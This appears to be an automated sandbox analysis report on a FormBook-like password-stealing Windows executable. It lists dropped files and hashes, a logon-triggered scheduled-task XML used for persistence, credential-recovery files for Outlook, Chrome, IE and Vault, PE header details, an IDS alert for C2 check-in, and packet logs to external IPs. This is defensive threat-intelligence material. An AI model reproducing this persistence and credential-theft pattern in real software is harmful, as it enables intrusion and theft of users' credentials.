SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ujlk5r3.m10.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ce45q1p3.n4h.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cred5wjw.2f5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dlbv4nfs.uw0.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tmp22F9.tmp

Process:	C:\Users\user\AppData\Roaming\hkkRsa.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1597
Entropy (8bit):	5.122974410982801
Encrypted:	false
SSDEEP:	24:2di4+S2qh/a1Kby1moqUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaxvn:cgeCaYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	F66A4254B33D01F2D6FE272618551EBA
SHA1:	F03B785354A6775EECECA1C7C7128CB2102769ED
SHA-256:	FB97963AC638766734F4BFBA17EDF657EDC8410D379F42F41AE74C63E10415F9
SHA-512:	2EC6EFE13CB7F2E368698DED78E6281718743E4F95E34308821336A06480DCC30C7EB30667D68D7C9CB8657B60E45B627E13B1FC7BBF0C5B81D59C367A727324
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>computer\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>computer\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>computer\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

C:\Users\user\AppData\Local\Temp\tmpE41B.tmp

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1597
Entropy (8bit):	5.122974410982801
Encrypted:	false
SSDEEP:	24:2di4+S2qh/a1Kby1moqUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaxvn:cgeCaYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	F66A4254B33D01F2D6FE272618551EBA
SHA1:	F03B785354A6775EECECA1C7C7128CB2102769ED
SHA-256:	FB97963AC638766734F4BFBA17EDF657EDC8410D379F42F41AE74C63E10415F9
SHA-512:	2EC6EFE13CB7F2E368698DED78E6281718743E4F95E34308821336A06480DCC30C7EB30667D68D7C9CB8657B60E45B627E13B1FC7BBF0C5B81D59C367A727324
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>computer\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>computer\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>computer\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.

C:\Users\user\AppData\Roaming\479O54QF\479logim.jpeg

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	85068
Entropy (8bit):	7.897722259557356
Encrypted:	false
SSDEEP:	1536:CwFfc1h3BPcUQKIQiBMEcbX1dY+5yUpknIDHs5Nd:r1c1cJKIJBMzX80y89M9
MD5:	6530D644CE203153C2F8021CDE6757AA
SHA1:	9DEE4DE92BD88C0B85B9CC63D92B73770A04212E
SHA-256:	6AA1AE20BA133ADFC37B6DA1206DE245F10B95E1A0F191B048FE4BAC37395351
SHA-512:	855721F91AD1EC173E80421BB3651C2259E21C79FBED7CAAD89EEAADF9E4ED10F406D8C3948A4EF0AF786A20915B5BFDE7F502506B3FF1FE427324BD409041A6
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.M.!.l7.~S....."SW.^..c......^s........u,-n....A..?.2.....l.(.?....7..~.q$.f..1\.q[.....oS:.gOY".....f-%.P.b.Z....>.....4+..b.Y&..F...)Pq.L....... .....H.#.\|..).?.H.'.\|....).?m.....h.t......\|4.%...d....

C:\Users\user\AppData\Roaming\479O54QF\479logrc.ini

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	3.551644151882457
Encrypted:	false
SSDEEP:	24:YUd8aU5okH+gUca7b50d8a45lUd7gScpD7b5G:bdSCy3hdGFW
MD5:	BDA0AFD5A9D0085F5D23856A8DABF41F
SHA1:	845923C84C0A3B03C0681BDC9AD40BD372FFF941
SHA-256:	8701239D15BA2C711165C65E6E07A06EF2C0963EDC6E7CD651F27F61AD81D0F2
SHA-512:	04E3DF3119E9EEEFFD0D7F4D50A5802B5A20E6F5A00B386C2FACB207867CC9B0CA8116E1346786B8CB6BBF62C24E6F552D340B4C89E5110BAA30CE082C67913D
Malicious:	false
Preview:	....O.u.t.l.o.o.k. .R.e.c.o.v.e.r.y.....c.l.s.i.d...{.E.D.4.7.5.4.1.4.-.B.0.D.6.-.1.1.D.2.-.8.C.3.B.-.0.0.1.0.4.B.2.A.6.6.7.6.}. .....M.i.n.i. .U.I.D...3.5.5.7.6.7.0.6.2.0.....S.e.r.v.i.c.e. .U.I.D... . . . . . . . .....S.e.r.v.i.c.e. .N.a.m.e...C.O.N.T.A.B. .....M.A.P.I. .P.r.o.v.i.d.e.r...2.....A.c.c.o.u.n.t. .N.a.m.e...O.u.t.l.o.o.k. .A.d.d.r.e.s.s. .B.o.o.k. .....P.r.e.f.e.r.e.n.c.e.s. .U.I.D... . . . . . . . .........c.l.s.i.d...{.E.D.4.7.5.4.1.4.-.B.0.D.6.-.1.1.D.2.-.8.C.3.B.-.0.0.1.0.4.B.2.A.6.6.7.6.}. .....M.i.n.i. .U.I.D...2.1.4.4.9.7.4.3.6.2.....S.e.r.v.i.c.e. .U.I.D... . . . . . . . .....S.e.r.v.i.c.e. .N.a.m.e...M.S.U.P.S.T. .M.S. .....M.A.P.I. .P.r.o.v.i.d.e.r...4.....A.c.c.o.u.n.t. .N.a.m.e...O.u.t.l.o.o.k. .D.a.t.a. .F.i.l.e. .....P.r.e.f.e.r.e.n.c.e.s. .U.I.D... . . . . . . . .........

C:\Users\user\AppData\Roaming\479O54QF\479logrg.ini

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Targa image data - RGB - RLE 109 x 101 x 32 +114 +111 "R"
Category:	dropped
Size (bytes):	38
Entropy (8bit):	2.7883088224543333
Encrypted:	false
SSDEEP:	3:rFGQJhIl:RGQPY
MD5:	4AADF49FED30E4C9B3FE4A3DD6445EBE
SHA1:	1E332822167C6F351B99615EADA2C30A538FF037
SHA-256:	75034BEB7BDED9AEAB5748F4592B9E1419256CAEC474065D43E531EC5CC21C56
SHA-512:	EB5B3908D5E7B43BA02165E092F05578F45F15A148B4C3769036AA542C23A0F7CD2BC2770CF4119A7E437DE3F681D9E398511F69F66824C516D9B451BB95F945
Malicious:	false
Preview:	....C.h.r.o.m.e. .R.e.c.o.v.e.r.y.....

C:\Users\user\AppData\Roaming\479O54QF\479logri.ini

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	2.8420918598895937
Encrypted:	false
SSDEEP:	3:+slXllAGQJhIl:dlIGQPY
MD5:	D63A82E5D81E02E399090AF26DB0B9CB
SHA1:	91D0014C8F54743BBA141FD60C9D963F869D76C9
SHA-256:	EAECE2EBA6310253249603033C744DD5914089B0BB26BDE6685EC9813611BAAE
SHA-512:	38AFB05016D8F3C69D246321573997AAAC8A51C34E61749A02BF5E8B2B56B94D9544D65801511044E1495906A86DC2100F2E20FF4FCBED09E01904CC780FDBAD
Malicious:	true
Preview:	....I.e.x.p.l.o.r. .R.e.c.o.v.e.r.y.....

C:\Users\user\AppData\Roaming\479O54QF\479logrv.ini

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	2.96096404744368
Encrypted:	false
SSDEEP:	3:AJlbeGQJhIl:tGQPY
MD5:	BA3B6BC807D4F76794C4B81B09BB9BA5
SHA1:	24CB89501F0212FF3095ECC0ABA97DD563718FB1
SHA-256:	6EEBF968962745B2E9DE2CA969AF7C424916D4E3FE3CC0BB9B3D414ABFCE9507
SHA-512:	ECD07E601FC9E3CFC39ADDD7BD6F3D7F7FF3253AFB40BF536E9EAAC5A4C243E5EC40FBFD7B216CB0EA29F2517419601E335E33BA19DEA4A46F65E38694D465BF
Malicious:	true
Preview:	...._._.V.a.u.l.t. .R.e.c.o.v.e.r.y.....

C:\Users\user\AppData\Roaming\hkkRsa.exe

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	714752
Entropy (8bit):	7.447804085883893
Encrypted:	false
SSDEEP:	12288:pS6ln+flo/XciMvHqpJr5OM2roh+AvKOdSHYYb+4YTePd0iTffYqHey2YQPdOl7N:wTdCjEHor5h8SnkYYq5Ud0kffL2lk74i
MD5:	D72C3BB3172D13AC1CFC172C389E52E5
SHA1:	A0BF2DC6BA08E4702098576B8E91F08C91A201CA
SHA-256:	2B7C90F224A3F2964F56820652AE35673CB830D152DC2203EC1629F69B8F5A00
SHA-512:	2B78732BB0BEB0306521E5D38B6EA9C575FB62E263AA2973D57DD33D62B413B8FBAA058A03A3D78C0204D8BDC4398F5B04728E1B1F6E5DC548D995C189D20875
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....d..............0.............n.... ........@.. .......................@............@.....................................O.......p.................... ......`...T............................................ ............... ..H............text...t.... ...................... ..`.rsrc...p...........................@..@.reloc....... ......................@..B................M.......H........1.../...........a..X{..........................................&.(.........0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}.......0............{.....+..&...}....*..

C:\Users\user\AppData\Roaming\hkkRsa.exe:Zone.Identifier

Process: explorer.exe, Module: user32.dll

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.447804085883893
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
File size:	714'752 bytes
MD5:	d72c3bb3172d13ac1cfc172c389e52e5
SHA1:	a0bf2dc6ba08e4702098576b8e91f08c91a201ca
SHA256:	2b7c90f224a3f2964f56820652ae35673cb830d152dc2203ec1629f69b8f5a00
SHA512:	2b78732bb0beb0306521e5d38b6ea9c575fb62e263aa2973d57dd33d62b413b8fbaa058a03a3d78c0204d8bdc4398f5b04728e1b1f6e5dc548d995c189d20875
SSDEEP:	12288:pS6ln+flo/XciMvHqpJr5OM2roh+AvKOdSHYYb+4YTePd0iTffYqHey2YQPdOl7N:wTdCjEHor5h8SnkYYq5Ud0kffL2lk74i
TLSH:	97E402815F525076C206BF398744B7B4C11F9DD6742BAB0BAE93F257A8FB6C27A03058
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d..............0.............n.... ........@.. .......................@............@................................

File Icon


Icon Hash:	98306e8c8cb6828c

Static PE Info

General

Entrypoint:	0x49f26e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64B8D5D6 [Thu Jul 20 06:36:06 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9f219	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa0000	0x10e70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9dc60	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9d274	0x9d400	False	0.9419574100755167	data	7.772224469495988	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa0000	0x10e70	0x11000	False	0.055161420036764705	data	1.505780016282093	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb2000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa0130	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.045353720572577784
RT_GROUP_ICON	0xb0958	0x14	data	1.0
RT_VERSION	0xb096c	0x318	data	0.44191919191919193
RT_MANIFEST	0xb0c84	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.523.227.38.7449731802031412 07/20/23-11:46:57.367343	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49731	80	192.168.2.5	23.227.38.74

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2023 11:44:37.556649923 CEST	49711	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:37.719366074 CEST	80	49711	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:37.720453978 CEST	49711	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:37.828722954 CEST	49711	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:37.991332054 CEST	80	49711	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:37.992095947 CEST	80	49711	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:37.992233038 CEST	80	49711	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:37.992336035 CEST	49711	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:37.992336035 CEST	49711	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:38.154855967 CEST	80	49711	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.116504908 CEST	49712	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.278722048 CEST	80	49712	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.282660961 CEST	49712	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.282881975 CEST	49712	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.282927036 CEST	49712	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.284251928 CEST	49713	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.445178032 CEST	80	49712	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.445296049 CEST	80	49712	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.445384026 CEST	49712	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.445655107 CEST	80	49712	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.445728064 CEST	49712	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.457446098 CEST	80	49713	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.457559109 CEST	49713	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.459691048 CEST	49713	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.622814894 CEST	80	49713	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.622956038 CEST	49713	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.622970104 CEST	80	49713	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.622998953 CEST	80	49713	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.623047113 CEST	49713	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.623068094 CEST	49713	80	192.168.2.5	86.38.202.187
Jul 20, 2023 11:44:40.786137104 CEST	80	49713	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:40.786166906 CEST	80	49713	86.38.202.187	192.168.2.5
Jul 20, 2023 11:44:50.590708971 CEST	49714	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:50.607429028 CEST	80	49714	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:50.607642889 CEST	49714	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:50.607834101 CEST	49714	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:50.624234915 CEST	80	49714	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:50.752696991 CEST	80	49714	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:50.752728939 CEST	80	49714	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:50.752829075 CEST	80	49714	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:50.752931118 CEST	49714	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:50.752988100 CEST	49714	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:50.753007889 CEST	49714	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.792840958 CEST	49715	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.809427023 CEST	80	49715	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.809520006 CEST	49715	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.809835911 CEST	49715	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.809889078 CEST	49715	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.812988043 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.826431990 CEST	80	49715	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.826457977 CEST	80	49715	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.829694986 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.829793930 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.832479000 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.849033117 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.849144936 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.849178076 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.849256039 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.865768909 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.865787983 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.865837097 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.865852118 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.865911961 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.865921974 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.865937948 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.865966082 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.866009951 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.866013050 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.866069078 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.867378950 CEST	80	49715	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883460999 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883488894 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883502960 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883517027 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883529902 CEST	80	49716	172.67.215.254	192.168.2.5
